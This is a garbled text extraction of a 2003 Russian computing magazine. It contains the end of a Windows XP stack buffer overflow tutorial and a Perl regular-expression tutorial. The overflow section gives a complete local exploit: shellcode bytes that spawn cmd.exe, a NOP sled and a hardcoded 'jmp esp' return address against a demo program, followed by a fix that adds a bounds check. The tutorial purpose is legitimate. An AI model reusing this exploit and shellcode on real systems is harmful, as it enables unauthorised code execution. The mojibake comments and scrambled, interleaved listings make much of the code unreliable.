Для определения адресов функций, которые необходимы для корректной работы эксплоита, напишем ещё одну маленькую программу. #include "windows.h" #include "stdio.h" main(int argc, char *argv[]) { // Äàííûå, íåîáõîäèìûå äëÿ ðàáîòû ïðîãðàììû HMODULE hnd1; FARPROC a; char *name1; char *modul1; // Âûâîä ñîîáùåíèÿ îá èñïîëüçîâàíèè óòèëèòû printf("Usage GETADDR <module> <API function>\n"); if (argc < 3) { // Åñëè çàïóùåíû áåç ïàðàìåòðîâ, òî âûâåäåì àäðåñà // KERNEL32 è WIN API ôóíêöèè GetProcAddress name1="GetProcAddress"; modul1="KERNEL32"; } else // Åñëè çàïóùåíû ñ ïàðàìåòðàìè, òî âûâåäåì ïî çàïðîñó // ïîëüçîâàòåëÿ { name1=argv[2]; modul1=argv[1]; } // Ïîëó÷àåì àäðåñ ìîäóëÿ hnd1=GetModuleHandle(modul1); // Ïîëó÷àåì àäðåñ WIN API ôóíêöèè a=GetProcAddress(hnd1,name1); // Âûâîäèì îáà àäðåñà printf("Module=[%s] Address=%xh\n",modul1,hnd1); printf("Function=[%s] Address=%xh\n",name1,a); // Âûõîä èç ïðîãðàììû return(0); }
При помощи данной программы мы должны определить адреса следующих WIN API функций: WinExec ExitProcess Данные функции находятся в ядре (kernel32.dll). Вот теперь мы готовы перейти к разработке shell-кода на ассемблере. Наш shell-код не будет использовать шифрование текстовых строк, так как в нём будет только одна текстовая строка с финальным нулём, так же мы не должны использовать в тексте кода нулей, опять же из-за особенностей стека. Рассмотрим листинг: .386 .model flat, stdcall extrn ExitProcess:proc .data start: ;---------------[ SUPA SHELL CODE]------------------------
75
безопасность nach: push mov
Ïàðàìåòð äëÿ âûçîâà WinExec Óñòàíàâëèâàåì esi íà ñòåê
lodsd cmp jne
; ; ; ; eax,012345678h ; try ;
push
esi
Íàøëè, ïîëîæèì, ñìåùåíèå â ñòåê Êëàäåì â eax àäðåñ ôóíêöèè Âûçûâàåì WinExec -> cmd.exe
try:
mov call
1 esi,esp
; ; eax,77e684c6h ; eax ;
nop nop
Èùåì òåêñòîâóþ ñòðîêó ñ èìåíåì ïðîãðàììû
; Ýòè nop äëÿ âûðàâíèâàíèÿ ; íà ãðàíèöó äâîéíîãî ñëîâà
xor push mov call
eax,eax eax eax,77e75cb5h eax
; ; ; ;
Îáíóëÿåì eax Êëàäåì 0 â ñòåê (ïàðàìåòð) Êëàäåì â eax àäðåñ ôóíêöèè Call ExitProcess
dd db
012345678h 'cmd.exe',0
; "Ìåòêà" èìåíè ïðîãðàììû ; Èìÿ ïðîãðàììû
name1: kon: ;--------------------------------------------------------.code nop ; end start end
Теперь, после всех этих изнурительных подготовительных действий, мы готовы написать эксплоит, использующий уязвимость в нашей программе. Переходим к листингу эксплоита: #include <stdio.h> #include <windows.h> void main (int argc, char *argv[]) { char *shell1= "\x6a\x01\x8b\xf4\xad\x3d\x78\x56\x34\x12\x75\xf8\x56\xb8\xc6\x84" "\xe6\x77\xff\xd0\x90\x90\x33\xc0\x50\xb8\xb5\x5c\xe7\x77\xff\xd0" "\x78\x56\x34\x12\x63\x6d\x64\x2e\x65\x78\x65"; char mass[152]; char buff[160]="BUG.EXE "; // n0p's memset(mass,'\x90',104); // n0p's + jmp esp strcat(mass,"\x4a\x75\xd7\x77"); // n0p's + jmp esp + shell_c0de strcat(mass,shell1); // file_name + n0p's + jmp esp + shell_c0de strcat(buff,mass); WinExec(buff,1); }
В начале данного эксплоита идёт описание переменных, и в том числе там есть наш shell-код и имя уязвимого файла. Далее мы формируем строку: Кладем туда 104 nop (на самом деле туда можно положить всё что душе угодно, так как управление будет передаваться всё равно за адрес возврата); Затем в эту строку добавляем адрес инструкции «jmp esp»; И только после этого адреса в строку помещаем наш shell-код; В переменную buff к имени файла добавляется наша строка с nop с новым адресом возврата и с shell-кодом. После того как строка запуска программы передаётся в функцию WinExec, мы получаем нашу долгожданную и любимую консоль.
76
Реально наша программа была запущена примерно следующим образом: c:\x-files\bug.exe ↵ PPPPPPPPPPPPPPPP...ÐÐ[new_addr][shell_c0de]
Где new_addr – это новый адрес возврата, а shell_c0de – это наш shell-код. В завершении статьи необходимо сказать, что существует возможность поиска адреса ядра в памяти, но в данном случае это неуместно, так как эксплоит получился зависимым от версии операционной системы. Вот если бы мы необходимую нам как воздух инструкцию (jmp esp) обнаружили в самой программе, то это было бы просто необходимо, и тогда бы наш эксплоит получился независимым от операционной системы. Существует возможность «сбрасывания» не только локальной консоли, но и удалённой. Shell-код для такого рода backdoor был написан неким dark spyrit и опубликован в журнале «Phrack». Стоит перечислить несколько уязвимых функций: strcpy sprintf strcat gets И их аналоги, адаптированные под Windows-системы:
lstrcpyA lstrcatA
Атаки данного типа представляют серьёзную угрозу. Для того чтобы от них защититься, всегда необходимо проверять, чтобы размер приёмника был больше того, что в него помещается. Для примера мы исправим нашу уязвимую программу. Так, чтобы она не была подвержена данной атаке. Перейдём к листингу: #include <stdio.h> #include <windows.h> void vuln_func(char *stroka) { char buffer[100]; // áóôåð if (sizeof(buffer)>strlen(stroka)) // !!!!!!!!!!!!!!!! // ôóíêöèÿ â ðåçóëüòàòå âûçûâàþùàÿ ïåðåïîëíåíèå áóôåðà lstrcpyA(buffer,stroka); } void main (int argc, char *argv[]) { vuln_func(argv[1]); // âûçîâ óÿçâèìîé ôóíêöèè printf("Parameter is : %s",argv[1]); }
Строка, отмеченная восклицательными знаками, проверяет соответствие размеров строк, что предотвращает возможность переполнения буфера в данной программе. Таким образом, мы рассмотрели одну из самых распространённых хакерских атак в применении к Windows XP, а также возможности её предотвращения. При написании статьи использовались материалы: 1. «Атаки на переполнение стека в Windows NT» – http:// hackzone.ru/articles/ntbo.html 2. «Smashing The Stack For Fun And Profit» by Aleph1 – www.phrack.org
программирование
РЕГУЛЯРНЫЕ ВЫРАЖЕНИЯ И ПОИСК ТЕКСТА В PERL
ВЛАДИСЛАВ ГОШКО 78
программирование В данной статье я попытаюсь как можно лучше объяснить, что такое регулярные выражения в Perl. Изюминкой Perl является работа с текстом – для этого он и был создан. Регулярные выражения очень часто используются в Unixсистемах, например, для поиска файлов по шаблону, также в sh, примеров много и все не перечислить, Perl не исключение. В некоторых случаях синтаксис регулярных выражений может быть немного другой, но поняв синтаксис регулярных выражений Perl, с другими проблем не будет. Я читал много статей по этому поводу и видел много книг, но действительно хорошо описывающего материала не нашел, потому что в одних книгах слишком сильно растягивают материал и теряют основную нить рассказа, в других же наоборот, очень мало... Поэтому я решил написать эту статью, в которой я постараюсь оптимально и ясно рассказать о регулярных выражениях и поиске текста. Причем не просто на словах, а на большом количестве примеров. Начнем с того, что в Perl имеются три основных оператора для работы с текстом: m/.../ – проверка совпадений (matching) s/.../.../ – подстановка текста (substitution) tr/.../.../ – трансляция текста (translation) также парочка полезных функций: substr(EXPR,OFFSET,LEN,REPLACEMENT) split(/PATTERN/,EXPR,LIMIT) Оператор m/.../ пытается сопоставить шаблон, указанный в качестве аргумента, с текстом, с которым идет сравнение. Например: $string = "Tasty Berry"; if ($string =~ m/berry/i){ print "This is berry string!"; }
В данном случае будет выведена строка «This is berry string!». Для сравнения скаляра с шаблоном нужно использовать сравнение такого вида «=~». Здесь операратор m/.../ вернет истину или ложь (т.к. данное регулярное выражение используется в скалярном контексте, а не в списковом – о нем ниже), если его опустить, то оператор m/.../ будет использовать специальную переменную $_. Буква i после второй косой черты означает игнорирование регистра, как вы видите, в шаблоне написано «berry» а в $string – «Berry», т.е. если бы не было буквы i, то наша программа не вывела бы строку «This is berry string!». Шаблон m/berry/i совпадет со строками «BERRY», «berry», «BeRrY» и т. д. $lines=""; open(FILE,"file.txt") or die $!; while(<FILE>){ if(/exit/i){ last; }else{ $lines.=$_; } } close(FILE);
№8(9), август 2003
Данная программа открывает файл и идет по строкам (по строкам, т.к. по умолчанию переменная $/ является переносом строки, переопределяя ее, вы меняете терминатор строки), сохраняя каждую строчку в переменную $lines, а если в строчке встречается слово «exit», то выходит из цикла. Как вы уже успели заметить, я пропустил букву m в начале оператора: этот оператор используется очень часто и можно использовать его сокращенную форму – без первой буквы m. Также поменять смысл на противоположный можно просто сменив оператор «=~» на «!~», например: $string = "Tasty Berry"; if($string !~ /berry/i){ print "This is NOT berry string!"; }else{ print "This is berry string!"; }
В данном случае будет выведена строка «This is berry string!». Но если нам немного поменять строку таким образом: $string = "Tasty Strawberry";
Логически мысля, человек ищет строчку berry (с англ. ягода), но у нас в строчке strawberry (с англ. клубника), т.е. это нам не подходит, хотя наш шаблон все равно сработает и выведет «This is berry string!», хотя должен вывести «This is NOT berry string!». Это получается, потому что, когда оператор получает шаблон «berry» и другую строку, в которой он ищет символ «b», за которым следует «e», затем «r», «r» и «y», а все, что находится до этой последовательности или после нее, не имеет значения. Поэтому придется улучшить шаблон, подставив мнимый символ (об этих символах ниже), вот так: $string = "Tasty Berry"; if($string !~ /\bberry\b/i){ print "This is NOT berry string!"; }else{ print "This is berry string!"; }
А вот сейчас все правильно – теперь наша программа выведет «This is NOT berry string!». «\b» в начале шаблона – это мнимый символ, соответствующий границе слова. Как вы видите, некоторые символы имеют определенный смысл для регулярных выражений. Метасимволы могут создавать альтернативные значения, организовывать повторы, группировать (что позволяет запоминать часть найденной строки), создавать классы символов и т. д. Все метасимволы начинаются с обратной косой черты (\). Если шаблон содержит символы косой черты (например, анализ каталогов, или HTMLтег), то лучше использовать другие ограничители, т.к. перед каждой чертой придется ставить обратную косую черту (\). Вот пример: $string = "/usr/bin/perl"; # íàïðèìåð, âû õîòèòå çàìåíèòü êàòàëîã /bin – íà /local/bin $string =~ s/\/bin/\/local\/bin/ig;
79
программирование Как видите, перед каждой косой чертой пришлось ставить обратную косую черту – некрасиво и очень громоздко, поэтому заменим разделитель (символы ? и ' лучше не использовать в качестве разделителей, т.к. шаблоны, ограниченные этими символами, обрабатываются иначе): $string = "/usr/bin/perl"; $string =~ s%/bin%/local/bin%ig;
Или можно вот так:
ee – говорит о том, что правый аргумент команды s/.../.../ – это строка, которую нужно выполнить как фрагмент кода, с помощью функции eval(), потом значение интерполируется. Перед тем как рассмотреть метасимволы, я хочу сказать пару слов об обычных символах. В шаблоне любой символ соответствует самому себе, если не является метасимволом или мнимым символом, или этим символом:
$string =~ s|/bin|/local/bin|ig;
Или: $string =~ s(/bin)(/local/bin)ig;
Или так:
"\", "|", "(", "{", "[", "*", "+", "$", "?", "."
А теперь давайте посмотрим на все метасимволы:
\077 – восьмеричный символ; \xFF – шестнадцатиричный символ; \a – символ звонка (alarm); \c[ – управляющие символы, т.е. CTRL + <символ>, в данном случае это ESC;
$string =~ s{/bin}{/local/bin}ig;
Точно также можно использовать квадратные скобки. Эти же правила можно применять и для других операторов этого класса. Если вы успели заметить, я использовал еще один модификатор регулярных выражений, а именно g – он означает глобальную поиск и/или замену, например: $string = "Some path /usr/bin/perl\n...and another path ↵ usr/bin/perl"; $string =~ s%/bin%/local/bin%i; print $string;
Вывод будет следующим: Some path /usr/local/bin/perl ...and another path /usr/bin/per
Как вы видите, путь изменился только в первом совпадении с шаблоном, после этого наш оператор заканчивает работу, а вот если добавить модификатор g, тогда регулярное выражение будет сопоставляться до конца текста, т.е. глобально. После добавления модификатора g результат будет таков: Some path /usr/local/bin/perl ...and another path /usr/local/bin/per
Теперь рассмотрим все по порядку, начнем с модификаторов операторов s/.../.../ и m/.../: i – игнорирует различие между заглавными и строчными буквами; s – метасимволу точка (.) разрешено соответствовать \n; m – разрешает метасимволам ^ и $ привязываться к промежуточным символам \n, имеющимся в тексте; x – разрешает использовать пробелы и комментарии в регулярных выражениях; g – глобальный поиск и/или замена (т.е. по всему тексту); с – работает только для m/.../, не позволяет сбрасывать текущую позицию поиска; o – однократная компиляция шаблонов; e – говорит о том, что правый аргумент команды s/.../.../ – это исполняемый код, в качестве подстановки будет использовано возвращаемое значение;
80
\f – символ «прогона» страницы; \d – соответствует цифре; \D – соответствует любому символу, кроме цифр; \e – символ ESC; \l – следующая литера становится строчной; \L – все последующие литеры становятся строчными (вплоть до \E);
\u – следующая литера становится заглавной; \U – все последующие литеры становятся заглавными (вплоть до \E);
\r – возврат каретки (CR); \n – символ новой строки (LF); \t – символ горизонтальной табуляции; \v – символ вертикальной табуляции; \Q – все последующие метасимволы становятся обычными (вплоть до \E);
\E – конец действия комманд \L, \U и \Q; \s – соответствует любому пробельному символу (т.е.
пробел, символ вертикальной/горизонтальной табуляции, символу новой строки, и т. д.); \S – любой символ, кроме пробельного; \w – алфавитно-цифровой символ (любая цифра, буква или символ подчеркивания); \W – любой символ, кроме буквы, цифры или символа подчеркивания.
Также в Perl есть определенные символы, которые соответствуют не какой-нибудь литере, а означают выполнение какого-нибудь условия, они называются мнимыми символами. Вот они: | – альтернатива; ! – символ логического NOT; . – любой символ, кроме переноса строки; ^ – начало строки текста; $ – конец строки текста; \b – граница слова; \B – отсутствие границы слова; \A – «истинное» начало строки; \Z – «истинный» конец строки или позиция перед символом начала новой строки, расположенным в «истинном» конце строки;
программирование \z – «истинный» конец строки; \G – граница, на которой остановился предыдущий глобальный поиск;
(?=шаблон) – после этой точки есть фрагмент текста,
который соответствует указанному регулярному выражению; (?!шаблон) – после этой точки нет текста, который бы соответствовал указанному регулярному выражению; (?<=шаблон) – перед этой точкой есть фрагмент текста, соответствующий указанному регулярному выражению; (?<!шаблон) – перед этой точкой нет фрагмента текста, соответствующего указанному регулярному выражению; (?модификаторы) – задает модификаторы, которые локальным образом меняют работу процедуры поиска. В отличие от глобальных модификаторов имеют силу только для текущего блока, т.е. для ближайшей группы круглых скобок, охватывающих конструкцию, например, шаблон ((?i)text) соответcтвует слову «text» без учета регистра; (?:шаблон) или (?модификаторы:шаблон) – группирует элементы шаблона. В отличие от обычных круглых скобок не создает нумерованной переменной. Например, модификатор i не будет делать различия между строчными и заглавными буквами, однако область действия этого модификатора будет ограничена только указанным шаблоном; (?#текст) – комментарий, текст комментария игнорируется; (?{код}) – выполнение кода. Теперь рассмотрим квантификаторы:
+ – одно или сколько угодно совпадений; * – ноль или сколько угодно совпадений; ? – ноль или одно совпадение; {n} – ровно n совпадений; {n,} – как минимум n совпадений; {n,m} – как минимум n, как максимум m совпадений.
Вышеперечисленные метасимволы, квантификаторы, мнимые символы, специальные переменные – это та часть статьи, к которой вы будете обращаться чаще всего – поэтому я собрал все вместе. А далее будем рассматривать более сложные решения задач, с пояснениями. Начнем с создания регулярных выражений. А более точно со специальных переменных: $string = "one two three four five"; $string =~ m/three/; print $`; # ðåçóëüòàò: "one two " print $'; # ðåçóëüòàò: " four five" print $&; # ðåçóëüòàò: "three" # òåïåðü íàñ÷åò ìàññèâîâ @+ è @print $-[0]; # ðåçóëüòàò: 8 print $+[0]; # ðåçóëüòàò: 13 # ïåðåìåííûå $#-, $#+ óêàçûâàþò íà äëèíó @-, @+ ñîîòâåòñòâåííî # ñ ïîìîùüþ ôóíêöèè substr() ìîæíî ïîëó÷èòü ïåðåìåííûå $`, $', # $&, íàïðèìåð $before_pat = substr($string,0,$-[0]); # àíàëîã $` $after_pat = substr($string,$+[0]); # àíàëîã $' $pattern = substr($string,$-[0],$+[0]-$-[0]); # àíàëîã $&
Переменная $^R, пример: $string = "some text"; $qwer =~ /(?{$var1=2.3;$var2=3.2})/; print $^R
Результат: 3.2 Переменная $+, пример: $string = "some text"; $string =~ m/(\w+)\s+(\w+)/; print $+;
Результат: text Переменная $*, пример: $string = "couple\nof\nlines\ngoes\nbellow..."; print $string =~ m/^lines/; # â ýòîì ñëó÷àå ïóñòàÿ ñòðîêà "" $*=1; # ïîñëå ïðèñâîåíèÿ ïåðåìåííîé $* èñòèíû, ðåçóëüòàò áóäåò print $string =~ m/^lines/; # – èñòèíà
Создание групп и классов символов:
[] – класс символов; () – группа символов.
Теперь несколько слов о встроенных переменных:
$' – подстрока, следующая за совпадением; $& – совпадение с шаблоном поиска (при последней
операции поиска или замены); $` – подстрока, расположенная перед совпадением; $^R – результат последнего вычисления утверждения в теле шаблона; $n – n-ный фрагмент совпадения; \n – n-ный фрагмент совпадения, вызываемый в самом операторе (например, в операторе s/.../.../); $+ – последняя группа; $* – разрешает выполнять поиск в многострочных файлах (булевая переменная); @- – спецмассив, который содержит начальную позицию найденного совпадения; @+ – массив, содержащий позицию последнего найденного совпадения.
№8(9), август 2003
Используем модификатор e для оператора s/.../.../: $string = "words don't come easy"; $string =~ s/(\w+)/uc($1)/eg; print $string;
Данный фрагмент кода «поднимает» регистр букв у всех слов из строки $string (глобально), вот что получается: WORDS DON'T COME EASY Что такое альтернатива? Это вот что: Данный фрагмент: while(<>){ if(/^exit$/){last} if(/^quit$/){last} if(/^stop$/){last} }
Можно заменить этим, с использованием альтернативы: while(<>){ # ýòî ïåðåáîð ñî ñðàâíåíèåì ñ òåêñòîì, ò.å. åñëè õîòÿ áû # îäèí ôðàãìåíò èç àëüòåðíàòèâû ñîâïàäåò ñ òåêñòîì, # òî âîçâðàùàåìîå çíà÷åíèå ïðèìåò èñòèíó, ò.å. â äàííîì
81
программирование # ñëó÷àå, åñëè ïîëüçîâàòåëü ââåäåò â STDIN, exit èëè quit èëè # æå stop, òî ìû çàâåðøèì öèêë if(/^(quit|exit|stop)$/){ last; } }
Нужно проверить, есть ли в строке слово ALPHA и слово BETA: $string = "BETALPHA"; if(($string =~ /ALPHA/) and ($string =~ /BETA/)){ print "OK"; }
********* **********
Как видите, перенос строки остался, чтобы разрешить точке совпадать с переносом строки, нужно добавить модификатор s и все: $string = "some text\nnew string"; $string =~ s/./*/gs; print $string;
Результат: ********************
Или так: if($string =~ /(?=.*ALPHA)(?=.*BETA)/){ # òàê íå äåëàòü – ïðèìåð äëÿ ïåðåêðûâàþùèõñÿ ñîâïàäåíèé print "OK"; } $string =~ /^(?:(?!PAT).)*$/
Выражение истинно, если шаблон /PAT/ не совпадает (аналогично $string !~ /PAT/). Далее насчет конструкций (?=шаблон) и т. д. В следующем примере ищется слово, за которым следуют три восклицательных знака, но сам пробел не включается в результат поиска: $string = "One! Two!! Three!!! And some words next..."; $string =~ m/(\w+(?=!!!))/; print $1;
Ответ: Three Вот неплохой пример, взятый из книги Perl Cookbook. $string = "1234567890"; @nonlap = $string =~ /(\d\d\d)/g; @yeslap = $string =~ /(?=(\d\d\d))/g; print "Non-overlapping: @nonlap\n"; print "Overlapping: @yeslap\n";
Вот что получается: Non-overlapping: 123 456 789 Overlapping: 123 234 345 456 567 678 789 890
Идем дальше: совпадение с любым символом, т.е. точка (.), например: $string = "secret password"; $string =~ s/./*/g; print $string;
Хоть * – это квантификатор, но в данном случае предшествующего элемента нет, поэтому используется лексическое значение и результат такой: **************
Но мнимый символ точка не совпадает с символом переноса строки, вот пример: $string = "some text\nnew string"; $string =~ s/./*/g; print $string;
Вот вывод программы:
82
То, что нужно... Проверяем, в строке $string больше 80 символов или нет: $string = "simple text"; $_ = $string; if(/.{80,}/){ print "Length of text is OK"; }else{ print "Length of text isn't OK"; }
Теперь поговорим о квантификаторах. $string = "It is some text!!!!!!!!!!!!!!!!!"; $string =~ s/!+/!/; print $string;
В этом случае вывод будет таков: It is some text! Квантификатор + означает одно или более совпадений, но т.к. квантификаторы количества изначально являются «жадными» (о жадности квантификаторов ниже), то в данном случае квантификатор + заменит самую длинную последовательность восклицательных знаков, а вот если поставить этот квантификатор – *, то в первом случае он отработает также, но если строку заменить на эту: $string = "It is some text";
Тогда результат будет следующим: !It is some text Удивлены? Да, именно такой результат и будет, (не забыли – квантификатор * означает ноль или более совпадений), т.к. в данном случае нет восклицательных знаков, то он удовлетворяется нулем. Теперь посмотрим, если нужно определенное количество символов, например: $string = "It is some text!!!!!!!!?!!!!!!!!"; $string =~ s/!{8}//; print $string;
Здесь мы удаляем ровно 8 восклицательных знаков, поэтому результат будет такой: It is some text?!!!!!!!! Если мы добавим модификатор g, то и последние 8 восклицательных знаков тоже исчезнут, а вот если сделать 9 восклицательных знаков, тогда ничего не будет заменено... Теперь о «жадности» квантификаторов: квантификатор заменит самую длинную серию – это и есть жадность. Разберем такой пример, вы хотите заменить «That is» на «That's»:
программирование Вот пример:
# âåðîÿòíî, âû ñäåëàòå òàê: $string = "That is reality, isn't it?"; $string =~ s/.*is/That's/; print $string;
Результат будет такой: That'sn't it? Т.к. «жадность» квантификаторов проявляется слева направо, т.е. будет выбрана максимальная серия слева направо. Это исправить легко – просто добавляем знак вопроса «?»:
$string = "abcdef"; if($string =~ /[^abcde]+/){ print "In class"; }
В данном случае результат будет такой: In class А если немного поменять $string: $string = "abcde";
$string =~ s/.*?is/That's/;
И теперь результат будет тот, что нужно: That's reality, isn't it? Вопросительный знак обозначает ноль или одно совпадение, поэтому как только найдено первое совпадение оно сразу заменяется, и все. Вот список минимальных квантификаторов: +?, *?, ??, {}?. Дальше несколько примеров с квантификаторами. Удаляем начальные пропуски: $string = " $string =~ s/^\s+//;
Тогда ничего не будет выведено, т.к. это и есть те символы, которых не должно быть... А теперь давайте разберемся, что такое группа символов. С группами ассоциируются специальные переменные – $1, $2, $3, ... и т. д. (но до бесконечности, а не до девяти, как в JavaScript!). Разберем простой пример: $string = "some_text 12345"; $string =~ /([a-z_]+)\s+(\d+)/g; print "Text: $1\nNumbers: $2";
Some text";
Вот вывод программы:
Удаляем конечные пропуски: $string = "Some text $string =~ s/\s+$//;
";
А теперь классы и группы. Класс символов – это символ, или список символов, заключенные в квадратные скобки. Любой символ из квадратных скобок сопоставляется со строкой для сравнения, например: $string = "Berry"; if ($string =~ /[br]/){ print "B and R"; }
В данном случае оператор m/.../ используется в скалярном контексте, поэтому в случае совпадения шаблона возвращает истину, иначе пустую строчку. Знак дефис (-) имеет особый смысл для класса символов – диапазон символов (в начале указывается начальный символ, потом конечный), например: $string = "some Text"; if($string =~ /[A-Z]/){ print "Uppercase here..."; }
Или вот другой пример: # åñëè åñòü áóêâû, òî âîçâðàùàåò èñòèíó $string = "some text"; if($string =~ /[A-Za-z]/){ print "Letters here..."; }
Здесь диапазон от A до Z заглавных букв, т.е. если в строчке есть хотя бы одна заглавная буква то оператор m/.../ возвращает истину. А если перед открывающей квадратной скобкой, поставить символ ^, тогда смысл меняется на противоположный, т.е. символ сравнивается, с любым не входящим в этот класс.
№8(9), август 2003
Text: some_text Numbers: 12345
Что-то заключенное в скобки – это группа, с которой ассоциируется специальная переменная вида $1 или ссылка на группу вида \1. В первой группе диапазон строчных символов от a до z и символ подчеркивания (если вы хотите использовать дефис как символ в группе, а не как диапазон, то поставьте перед ним обратную косую черту). Со вложенными скобками также – на каждую открывающую скобку формируется специальная переменная (например, $1). Меняем местами слова при помощи оператора s/.../.../: $string = "she loves me not"; # êàê âèäèòå, çäåñü ÷åòûðå ãðóïïû $string =~ s/(\w+)\s+(\w+)\s+(\w+)\s+(\w+)/$4 $3 $2 $1/g; print $string;
Вот вывод нашей программы: not me loves she Есть и такой вариант, без регулярных выражений: $string = "she loves me not"; $string = join(" ",reverse split(" ",$string));
Результат такой же, как и в первый раз. Также с помощью функции reverse можно проверить, является ли слово палиндромом: $word = "reviver"; print $is_palindrome = ($word eq reverse($word));
Очень удобно работать с обработкой информации, например, от данных выхода какой-нибудь программы... Рассмотрим более сложный пример: # âîò êàêèå-íèáóäü âõîäíûå äàííûå $string = " x = -15.32"; $string =~ ([a-z]+)\s*=\s*([+-]?\d+\.?\d*) /x;
83
программирование В переменной $1 находится «x», а в переменной $2 – «-15.32». Теперь давайте разберемся, что к чему. В первой группе класс символов, т.е. диапазон символов от a до z строчных букв (начиная от одной буквы и более, т.к. используется квантификатор «+», квантификаторы действуют только на предыдущий символ, или класс символов). Далее, \s* значит сколько угодно пробельных символов, или ни одного, затем символ «=», и опять же \s*. После этого идет группа, в которой есть класс символов из «+» и «-», т.е. это значит, что символ «+» или «-» может присутствовать или не присутствовать (напомню: квантификатор «?» – ноль или одно совпадение). Далее, \d+ одно или сколько угодно чисел, затем точка или ее нет, а затем ноль или сколько угодно чисел. А теперь чуть-чуть усложним нашу задачу, пусть данные будут такие (например, их вводил человек и допустил пару неточностей): x = 15.1 y = 3. x=3 y= 5 z=3.4 x=1 y=2 z=3
z =
+12.22
Т.е. в переменной это будет выглядеть так: $string = " x = 15.1 y = 3. z = +12.22\nx=3 y= 5 z=3.4\ ↵ nx=1 y=2 z=3"; $c=0; # ñ÷åò÷èê èòåðàöèé while($string =~ m/ ([a-z]+)\s*=\s*([+-]?\d+\.?\d*)\s+ ([a-z]+)\s*=\s*([+-]?\d+\.?\d*)\s+ ([a-z]+)\s*=\s*([+-]?\d+\.?\d*)/xg){ # èñïîëüçóåì ðàñøèðåííûé âèä – äëÿ áîëåå ëåãêîãî ÷òåíèÿ $x = $2; # à âîò è äàííûå, ò.å. x, y, z $y = $4; $z = $6; # äàëåå ÷òî óãîäíî äåëàåì ñ äàííûìè, # à â ïåðåìåííûõ $1, $3, $5 íàõîäÿòñÿ èìåíà ïåðåìåííûõ # "âûòÿíóòûõ" èç äàííûõ íà âñÿêèé ñëó÷àé $c++; print "x = $x\n"; print "y = $y\n"; print "z = $z\n"; print "Iteration number: $c\n\n"; }
Вывод программы будет таков: x = 15.1 y = 3. z = +12.22 Iteration number: 1 x = 3 y = 5 z = 3.4 Iteration number: 2 x = 1 y = 2 z = 3 Iteration number: 3
А теперь списковый контекст оператора m/.../: $string = "words 999 text"; # èçâëåêàåò â ìàññèâ @arr âñå "ñëîâà", # à òî÷íåå, äèàïàçîí ñòðî÷íûõ èëè çàãëàâíûõ áóêâ îò a äî z @arr = ($string =~ m/([A-Za-z]+)/g); print join " ",@arr;
84
$string =~ m%<(a|body)\s+(.*)>(.*)</\1>%; $link_name = $3; print $link_name;
Вывод такой: go to main page Здесь \1 – это внутреняя ссылка на первую группу, т.е., например, в первой группе шаблон совпал с тегом A, тогда \1 тоже будет равно тому же. Точно также, как и с другими ссылками \1,\2,\3... С помощью функции split() и шаблонов текст можно разбивать на куски, например, терминатор строки (или разделитель записей) должен быть фиксированной величиной, поэтому чтобы прочитать файл по шаблону, нужно сделать следующее: open(FH,"file.txt") or die $!; undef $/; @chunks = split(/\r\n|\n/,<FH>);
Данный кусок заносит в массив @chunks строки файла независимо от того, создан он в Unix-системе или в Windows. Также с помощью split() можно разбить строку на символы, т.е. каждый элемент массива будет равен одному символу, это делается так: $string = "some letters"; @l = split(//,$string);
Выше я в основном рассматривал работу с операторами m/.../ и s/.../.../, а теперь посмотрим на оператор трансляциии текста, т.е. tr/.../.../. Начнем с его модификаторов: d – удаляет непарные символы; с – первый аргумент это полный список из 256 символов, кроме тех, которые указаны в аргументе; s – удаляет повторяющиеся символы, образованные при замене. Давайте посмотрим, как используется модификатор c: $string = "This is some text"; $string =~ tr[A-Za-z][*]c; print $string;
Вот что получится: This*is*some*text В этом случае заменяются все символы, кроме тех, которые указаны в первом аргументе (т.е. всех латинских), в данном случае – это пробел. Удаляем удвоенные, утроенные и т. д. символы: $string = "Thiiiisss is sooooome teeeeeeext"; $string =~ tr[A-Za-z][]s; # åñëè âòîðîé àðãóìåíò ïóñò, òî â íåãî ïîäñòàâëÿåòñÿ # ïåðâûé àðãóìåíò print $string;
Результат: This is some text Пример: я скачал книгу, но в ней был такой недостаток: заглавные буквы были инвертированы строчными и наоборот, вот как я справился с этим:
Вот что получится: words text А теперь насчет использования внутренних ссылок.
$string = "tHIS iS bUGGY tEXT !!!"; $string =~ tr{A-Za-z}{a-zA-z}; print $string;
$string = "<a href=index.htm>go to main page</a>";
Получилось, что надо: This Is Buggy Text !!!
программирование Пересчитываем количество букв в строке: $string = "Some text"; $count = ($string =~ tr{A-Za-z}{}); print $count;
Результат: 8 Немного изменив выражение, можно подсчитать количество небуквенных символов: $string = "Some _unique_text_ !!!"; $count = ($string =~ tr{A-Za-z}{}c); print $count;
Ответ – 8, или вместо диапазона A-Za-z можно подставить 0-9 и тогда, в $count будет количество цифр в строке. Оператор tr/.../.../ возвращает количество успешных замен, если не было сделано никаких замен – возвращает ноль. Таким образом можно подсчитать количество определенного символа в строке, например, подсчитываем количество буквы i в строке. $string = "This is some text !"; $count = ($string =~ tr/i/i/); print $count;
Результат: 2 Если у оператора tr/.../.../ нет модификаторов, тогда ее аргументы должны быть одинаковой длины, а если второй аргумент длиннее первого – он усекается до длины первого аргумента, например: $string = "Some numbers: 7321"; $string =~ tr/7321/0-9/; print $string;
Не зная того, что я сказал выше, вы, наверное, хотели заменить цифры 7321 на 0123456789, но результат вот какой: Some numbers: 0123 Т.е. команда tr/7321/0-9/ равна следующей: tr/7321/0123/. Даже если цифры будут не по порядку, т.е.: $string = "Some numbers: 7 then 3 then 2 and then 1"; $string =~ tr/7321/0-9/;
Результат будет таким:
$string = "some\@mail.ru"; if($string =~ /([^<>(),;\s]+\@[^<>(),;\s]+)/){ print "Valid mail"; }else{ print "Invalid mail"; }
Это примитивная проверка, и рассчитана она только на то, чтобы пользователь не ошибся при вводе. Лучше всего проверить, правилен ли почтовый адрес – это послать письмо с подтверждением. Выделяем имя и расширение программы: $progname = "/usr/bin/perl.txt"; $progname =~ m%(^.*/)(.*)\.(.*)%; # $1 – ïóòü äî ïðîãðàììû: /usr/bin/ # $2 – ïðîãðàììà: perl.txt # $3 – ïðîãðàììà áåç ðàñøèðåíèÿ: perl # $4 – ðàñøèðåíèå ïðîãðàììû: txt
